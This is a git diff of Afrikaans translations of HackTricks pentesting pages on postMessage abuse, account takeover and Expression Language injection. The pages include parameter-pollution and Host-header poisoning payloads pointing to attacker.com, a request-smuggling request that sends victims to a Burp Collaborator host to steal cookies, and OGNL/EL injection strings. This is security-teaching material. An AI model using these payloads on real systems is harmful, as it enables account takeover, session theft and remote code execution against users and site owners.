Dit is moontlik om te kontroleer of die boodskap afkomstig is van dieselfde venster waarin die skripsie luister (veral interessant vir **Inhoudskripte van blaaieruitbreidings** om te kontroleer of die boodskap van dieselfde bladsy gestuur is):
```javascript
// If its not, return immediately.
if( received_message.source !== window ) {
@ -162,8 +176,8 @@ Vir meer inligting **lees:**
### X-Frame-Header omseil
Om hierdie aanvalle uit te voer, sal jy idealiter die slagoffer-webbladsy binne 'n `iframe` kan plaas. Maar sommige koppe soos `X-Frame-Header` kan dit **voorkom**.\
In daardie scenario's kan jy steeds 'n minder heimlike aanval gebruik. Jy kan 'n nuwe lêer na die kwesbare webtoepassing oopmaak en daarmee kommunikeer:
Om hierdie aanvalle uit te voer, sal jy idealiter die slagoffer se webbladsy binne 'n `iframe` kan plaas. Maar sommige koppe soos `X-Frame-Header` kan dit voorkom.\
In daardie scenario's kan jy steeds 'n minder onopvallende aanval gebruik. Jy kan 'n nuwe lêer na die kwesbare webtoepassing oopmaak en daarmee kommunikeer:
```markup
<script>
var w=window.open("<url>")
@ -172,15 +186,15 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
```
### Steel boodskap gestuur aan kind deur die hoofbladsy te blokkeer
Op die volgende bladsy kan jy sien hoe jy 'n **sensitiewe postmessage data** gestuur aan 'n **kind iframe** kan steel deur die **hoof** bladsy te **blokkeer** voordat die data gestuur word en 'n **XSS in die kind** te misbruik om die data te **lek** voordat dit ontvang word:
Op die volgende bladsy kan jy sien hoe jy 'n **sensitiewe postmessage data** wat aan 'n **kind iframe** gestuur is, kan steel deur die **hoof** bladsy te **blokkeer** voordat die data gestuur word en 'n **XSS in die kind** te misbruik om die data te **lek** voordat dit ontvang word:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}
### Steel boodskap deur die iframe lokasie te wysig
### Steel boodskap deur die iframe se ligging te wysig
As jy 'n webbladsy kan iframe sonder 'n X-Frame-Header wat 'n ander iframe bevat, kan jy die lokasie van daardie kind iframe **verander**, sodat as dit 'n **postmessage** ontvang wat gestuur is met 'n **wildcard**, kan 'n aanvaller daardie iframe **oorsprong** verander na 'n bladsy wat deur hom **beheer** word en die boodskap **steel**:
As jy 'n webbladsy kan iframe sonder 'n X-Frame-Header wat 'n ander iframe bevat, kan jy die ligging van daardie kind iframe **verander**, sodat as dit 'n **postmessage** ontvang wat met 'n **wildcard** gestuur is, kan 'n aanvaller daardie iframe se **oorsprong** verander na 'n bladsy wat deur hom **beheer** word en die boodskap **steel**:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
@ -188,7 +202,7 @@ As jy 'n webbladsy kan iframe sonder 'n X-Frame-Header wat 'n ander iframe bevat
### postMessage na Prototipe Besoedeling en/of XSS
In scenario's waar die data gestuur deur `postMessage` deur JS uitgevoer word, kan jy die **bladsy** iframe en die **prototipe besoedeling/XSS** uitbuit deur die aanval via `postMessage` te stuur.
In scenario's waar die data wat deur `postMessage` gestuur word deur JS uitgevoer word, kan jy die **bladsy** iframe en die **prototipe besoedeling/XSS** uitbuit deur die aanval via `postMessage` te stuur.
'n Paar **baie goed verduidelikte XSS deur `postMessage`** kan gevind word op [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
@ -220,13 +234,25 @@ Vir **meer inligting**:
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
* Om te oefen: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diefstal malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekeningoorname en losprysaanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -2,44 +2,58 @@
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## Oorname van Registrasie
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekeningoorname en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin gratis probeer by:
{% embed url="https://whiteintel.io" %}
---
## Registrasie-oornaamname
### Duplikaat Registrasie
* Probeer genereer met 'n bestaande gebruikersnaam
* Kontroleer variasie in die e-pos:
* hoofletters
* \+1@
* voeg 'n paar punte by die e-pos
* spesiale karakters in die e-posnaam (%00, %09, %20)
* Plaas swart karakters na die e-pos: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
* hoofletters
* \+1@
* voeg 'n paar punte by in die e-pos
* spesiale karakters in die e-posnaam (%00, %09, %20)
* Plaas swart karakters na die e-pos: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
### Gebruikersnaamondersoek
### Gebruikersnaam Enumerasie
Kyk of jy kan vasstel wanneer 'n gebruikersnaam reeds geregistreer is binne die toepassing.
Kyk of jy kan uitvind wanneer 'n gebruikersnaam reeds binne die aansoek geregistreer is.
### Wagwoordbeleid
Wanneer jy 'n gebruiker skep, kyk na die wagwoordbeleid (kyk of jy swak wagwoorde kan gebruik).\
In daardie geval kan jy probeer om geloofsbriewe te kragteloos.
Skep 'n gebruiker en kyk na die wagwoordbeleid (kyk of jy swak wagwoorde kan gebruik).\
In daardie geval kan jy probeer om geloofsbriewe te bruteforce.
### SQL-injectie
### SQL-inspuiting
[Kyk na hierdie bladsy](sql-injection/#insert-statement) om te leer hoe om rekeningsoorname te probeer of inligting te onttrek deur middel van **SQL-injecties** in registrasievorms.
[Kyk na hierdie bladsy](sql-injection/#insert-statement) om te leer hoe om rekeningoorname te probeer of inligting te onttrek via **SQL-inspuitings** in registrasievorms.
### Oauth-oornames
@ -55,14 +69,35 @@ In daardie geval kan jy probeer om geloofsbriewe te kragteloos.
### Verander E-pos
Wanneer geregistreer, probeer om die e-pos te verander en kyk of hierdie verandering korrek gevalideer word of dit na willekeurige e-posse verander kan word.
Wanneer geregistreer, probeer om die e-pos te verander en kyk of hierdie verandering korrek gevalideer word of dit na willekeurige e-posse kan verander.
### Meer Kontroles
* Kyk of jy **weggooi-e-posse** kan gebruik
* **Lang** **wagwoord** (>200) lei tot **DoS**
* **Kyk na tempo-beperkings op rekening-skepping**
* **Kyk na tempo-limiete op rekening-skepping**
* Gebruik username@**burp\_collab**.net en analiseer die **terugroep**
## **Wagwoord-terugstel-oornaamname**
### Wagwoord-terugstel-tokenlek via Verwysing <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Versoek wagwoord-terugstel na jou e-posadres
2. Klik op die wagwoord-terugstel skakel
3. Verander nie wagwoord nie
4. Klik op enige 3de party-webwerwe (bv: Facebook, twitter)
5. Onderskep die versoek in Burp Suite-proksi
6. Kyk of die verwysingskop wagwoord-terugstelteken lek.
### Wagwoord-terugstelvergiftiging <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Onderskep die wagwoord-terugstelversoek in Burp Suite
2. Voeg of wysig die volgende koppe in Burp Suite by: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Stuur die versoek met die gewysigde kop\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Soek na 'n wagwoord-terugstelskakel gebaseer op die _host-kop_ soos: `https://attacker.com/reset-password.php?token=TOKEN`
### Wagwoord-terugstel via E-posparameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
@ -81,56 +116,56 @@ email=victim@mail.com|hacker@mail.com
```
### IDOR op API-parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. Aanvaller moet inloggen met hun account en naar de functie **Wachtwoord wijzigen** gaan.
2. Start Burp Suite en onderschept het verzoek.
3. Stuur het naar het repeater-tabblad en bewerk de parameters: Gebruikers-ID/e-mail\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
1. Aanvaller moet inlog met hul rekening en na die **Wagwoord verander**-funksie gaan.
2. Begin die Burp Suite en Onderskep die versoek
3. Stuur dit na die herhalingskategorie en wysig die parameters: Gebruiker-ID/e-pos\
`powershell POST /api/changepass [...] ("vorm": {"e-pos":"slagoffer@e-pos.com","wagwoord":"veilige wagwoord"})`
### Zwak wachtwoordhersteltoken <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
### Swak Wagwoord-herstelteken <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
Het wachtwoordhersteltoken moet telkens willekeurig gegenereerd en uniek zijn.\
Probeer te bepalen of het token verloopt of altijd hetzelfde is, in sommige gevallen is het generatie-algoritme zwak en kan het geraden worden. De volgende variabelen kunnen door het algoritme worden gebruikt.
Die wagwoord-herstelteken moet ewekansig gegenereer word en elke keer uniek wees.\
Probeer bepaal of die teken verval of altyd dieselfde is, in sommige gevalle is die genereringsalgoritme swak en kan geraden word. Die volgende veranderlikes kan deur die algoritme gebruik word.
* Tijdstempel
* Gebruikers-ID
* E-mail van gebruiker
* Voornaam en achternaam
* Tydstempel
* Gebruiker-ID
* E-pos van Gebruiker
* Voornaam en Van
* Geboortedatum
* Cryptografie
* Alleen nummers
* Kleine tokenreeks (tekens tussen \[A-Z,a-z,0-9])
* Hergebruik van token
* Vervaldatum van token
* Kriptografie
* Slegs nommers
* Klein tekenreeks (karakters tussen \[A-Z,a-z,0-9])
* Tekenhergebruik
* Tekenvervaldatum
### Uitlekken van wachtwoordhersteltoken <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
### Uitlek van Wagwoord-herstelteken <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Activeer een wachtwoordherstelverzoek met behulp van de API/UI voor een specifiek e-mailadres, bijvoorbeeld: test@mail.com
2. Inspecteer het serverantwoord en controleer op `resetToken`
3. Gebruik vervolgens het token in een URL zoals `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
1. Trigger 'n wagwoord-herstelversoek deur die API/UI vir 'n spesifieke e-pos bv: toets@pos.com
2. Inspekteer die bedienerreaksie en soek na `resetToken`
3. Gebruik dan die teken in 'n URL soos `https://voorbeeld.com/v3/gebruiker/wagwoord/herstel?resetToken=[DIE_RESET_TEKEN]&e-pos=[DIE_POS]`
### Wachtwoordherstel via gebruikersnaamcollision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
### Wagwoord-herstel via Gebruikersnaam-botsing <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Registreer op het systeem met een gebruikersnaam die identiek is aan de gebruikersnaam van het slachtoffer, maar met spaties ingevoegd voor en/of na de gebruikersnaam, bijvoorbeeld: `"admin "`
2. Vraag een wachtwoordherstel aan met uw kwaadwillende gebruikersnaam.
3. Gebruik het naar uw e-mail gestuurde token en stel het wachtwoord van het slachtoffer opnieuw in.
4. Maak verbinding met het account van het slachtoffer met het nieuwe wachtwoord.
1. Registreer op die stelsel met 'n gebruikersnaam identies aan die slagoffer se gebruikersnaam, maar met spasies ingevoeg voor en/of na die gebruikersnaam. bv: `"admin "`
2. Vra 'n wagwoordherstel met jou skadelike gebruikersnaam aan.
3. Gebruik die teken wat na jou e-pos gestuur is en herstel die slagoffer se wagwoord.
4. Koppel aan die slagoffer se rekening met die nuwe wagwoord.
Het platform CTFd was kwetsbaar voor deze aanval.\
Zie: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
Die platform CTFd was vatbaar vir hierdie aanval.\
Sien: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Accountovertname via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
### Rekening-oorneem via Kruiswebkripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Zoek een XSS binnen de applicatie of een subdomein als de cookies zijn beperkt tot het bovenliggende domein: `*.domain.com`
2. Lek de huidige **sessiecookie**
3. Authenticeer als de gebruiker met behulp van de cookie
1. Vind 'n XSS binne die aansoek of 'n subdomein as die koekies toegespits is op die ouer domein: `*.domein.com`
2. Laat die huidige **sessiekoekie** uitlek
3. Verifieer as die gebruiker deur die koekie
### Accountovertname via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
### Rekening-oorneem via HTTP-versoeksmokkel <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. Gebruik **smuggler** om het type HTTP Request Smuggling (CL, TE, CL.TE) te detecteren\
1\. Gebruik **smuggler** om die tipe HTTP-versoeksmokkeling (CL, TE, CL.TE) op te spoor\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Maak een verzoek dat de `POST / HTTP/1.1` overschrijft met de volgende gegevens:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` met als doel de slachtoffers door te sturen naar burpcollab en hun cookies te stelen\
3\. Het uiteindelijke verzoek kan er als volgt uitzien
2\. Stel 'n versoek op wat die `POST / HTTP/1.1` sal oorskryf met die volgende data:\
`GET http://iets.burpcollaborator.net HTTP/1.1 X:` met die doel om die slagoffers na burpcollab te omskakel en hul koekies te steel\
3\. Die finale versoek kan so lyk as volg:
```
GET / HTTP/1.1
Transfer-Encoding: chunked
@ -142,20 +177,16 @@ Content-Length: 83
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone-rapporteerders maak gebruik van hierdie fout\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Rekening Oorname via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
### Rekeningsoorname via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. Skep 'n lading vir die CSRF, bv. "HTML-vorm met outomatiese indiening vir 'n wagwoordverandering"
1. Skep 'n lading vir die CSRF, bv: "HTML-vorm met outomatiese indiening vir 'n wagwoordverandering"
2. Stuur die lading
### Rekeningsoorname via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
### Rekening Oorname via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Token kan gebruik word om 'n gebruiker te verifieer.
* Wysig die JWT met 'n ander gebruikers-ID / E-pos
* Wysig die JWT met 'n ander Gebruiker-ID / E-pos
* Kyk vir swak JWT-handtekening
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
@ -166,15 +197,29 @@ JSON Web Token kan gebruik word om 'n gebruiker te verifieer.
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donker-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekeningoorname en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

View file

@ -2,47 +2,61 @@
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy in 'n **cybersecurity maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donker-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromiteer** is deur **steelmalware**.
Hul primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
## Basiese Inligting
Uitdrukkings Taal (EL) is integraal in JavaEE vir die oorbrugging van die aanbiedingslaag (bv. webbladsye) en die toepassingslogika (bv. bestuurde bone), wat hul interaksie moontlik maak. Dit word hoofsaaklik gebruik in:
Uitdrukkings Taal (EL) is integraal in JavaEE vir die koppeling van die aanbiedingslaag (bv., webbladsye) en aansoeklogika (bv., bestuurde bone), wat hul interaksie moontlik maak. Dit word hoofsaaklik gebruik in:
- **JavaServer Faces (JSF)**: Vir die koppeling van UI-komponente aan agterste data/aksies.
- **JavaServer Faces (JSF)**: Vir die koppel van UI-komponente aan agterste data/handelinge.
- **JavaServer Pages (JSP)**: Vir data-toegang en manipulasie binne JSP-bladsye.
- **Contexts and Dependency Injection for Java EE (CDI)**: Vir die fasilitering van weblaag interaksie met bestuurde bone.
- **Kontekste en Afhanklikheidsinspuiting vir Java EE (CDI)**: Vir die fasilitering van weblaag interaksie met bestuurde bone.
**Gebruikskontekste**:
- **Spring Framework**: Toegepas in verskeie modules soos Security en Data.
- **Algemene Gebruik**: Deur SpEL API deur ontwikkelaars in JVM-gebaseerde tale soos Java, Kotlin en Scala.
- **Spring Raamwerk**: Toegepas in verskeie modules soos Sekuriteit en Data.
- **Algemene Gebruik**: Deur SpEL API deur ontwikkelaars in JVM-gebaseerde tale soos Java, Kotlin, en Scala.
EL is teenwoordig in JavaEE-tegnologieë, losstaande omgewings, en herkenbaar deur `.jsp` of `.jsf` lêeruitbreidings, stapfoute, en terme soos "Servlet" in koppe. Die kenmerke en die gebruik van sekere karakters kan egter afhang van die weergawe.
EL is teenwoordig in JavaEE tegnologieë, selfstandige omgewings, en herkenbaar deur `.jsp` of `.jsf` lêeruitbreidings, stapfoute, en terme soos "Servlet" in koppe. Nietemin kan sy kenmerke en die gebruik van sekere karakters weergawe-afhanklik wees.
{% hint style="info" %}
Afhanklik van die **EL-weergawe** kan sommige **kenmerke** **Aan** of **Af** wees en gewoonlik kan sommige **karakters** verbode wees.
Afhanklik van die **EL weergawe** mag sommige **kenmerke** aan of af wees en gewoonlik mag sommige **karakters** nie toegelaat word nie.
{% endhint %}
## Basiese Voorbeeld
(Jy kan 'n ander interessante tutoriaal oor EL vind in [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/))
(Jy kan 'n ander interessante handleiding oor EL vind in [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/))
Laai die jar-lêers af van die [**Maven**](https://mvnrepository.com)-bewaarplek:
Laai die jar-lêers af van die [**Maven**](https://mvnrepository.com) bewaarplek:
* `commons-lang3-3.9.jar`
* `spring-core-5.2.1.RELEASE.jar`
* `commons-logging-1.2.jar`
* `spring-expression-5.2.1.RELEASE.jar`
En skep die volgende `Main.java`-lêer:
En skep die volgende `Main.java` lêer:
```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
@ -63,22 +77,22 @@ System.out.println(result);
}
}
```
Voltooi die kode (as jy nie `javac` geïnstalleer het nie, installeer `sudo apt install default-jdk`):
Volgende kompileer die kode (as jy nie `javac` geïnstalleer het nie, installeer `sudo apt install default-jdk`):
```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
```
Voer die toepassing uit met:
Voer die aansoek uit met:
```java
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]
```
Merk op hoe in die vorige voorbeeld die term `{5*5}` **geëvalueer** is.
Merk op hoe in die vorige voorbeeld die term `{5*5}` **geëvalueer** was.
## **CVE-gebaseerde Tutoriaal**
## **CVE Gebaseerde Handleiding**
Kyk dit na **in hierdie pos: [https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)**
Kyk daarna in **hierdie pos: [https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)**
## Lading
@ -108,7 +122,7 @@ Kyk dit na **in hierdie pos: [https://xvnpw.medium.com/hacking-spel-part-1-d2ff2
```
### Opsporing
* Opsporing met Burp
* Burp opsporing
```bash
gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
@ -124,56 +138,10 @@ https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.Og
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
```
### Verre Lêer Insluiting
Remote File Inclusion (RFI) is 'n aanvalstegniek wat gebruik word om 'n webtoepassing te misbruik deur 'n eksterne lêer in te sluit en uit te voer op die bediener. Hierdie aanval maak gebruik van swakheid in die toepassing se kodes wat dit moontlik maak om eksterne lêers in te sluit sonder behoorlike verifikasie. Die aanvaller kan dan kwaadwillige kodes uitvoer wat in die ingeslote lêer ingesluit is.
Die RFI-aanval begin gewoonlik deur die insluiting van 'n eksterne lêer deur die gebruik van 'n URL-parameter. Die aanvaller kan 'n skadelike URL konstrueer wat verwys na 'n lêer op 'n eksterne bediener wat hy beheer. Wanneer die toepassing hierdie URL-parameter verwerk, sal dit die lêer insluit en die kodes daarin uitvoer.
Die gevolge van 'n suksesvolle RFI-aanval kan wissel van die uitvoer van skadelike aksies op die bediener, soos die verwydering van lêers of die verkryging van vertroulike inligting, tot die oorname van die hele bediener.
Om RFI-aanvalle te voorkom, moet ontwikkelaars behoorlike verifikasie en sanitasie van URL-parameters implementeer. Dit sluit in die beperking van toegang tot slegs toegelate lêers en die gebruik van veilige metodes vir lêerinsluiting, soos relatiewe lêerpadname in plaas van absolute URL's.
```bash
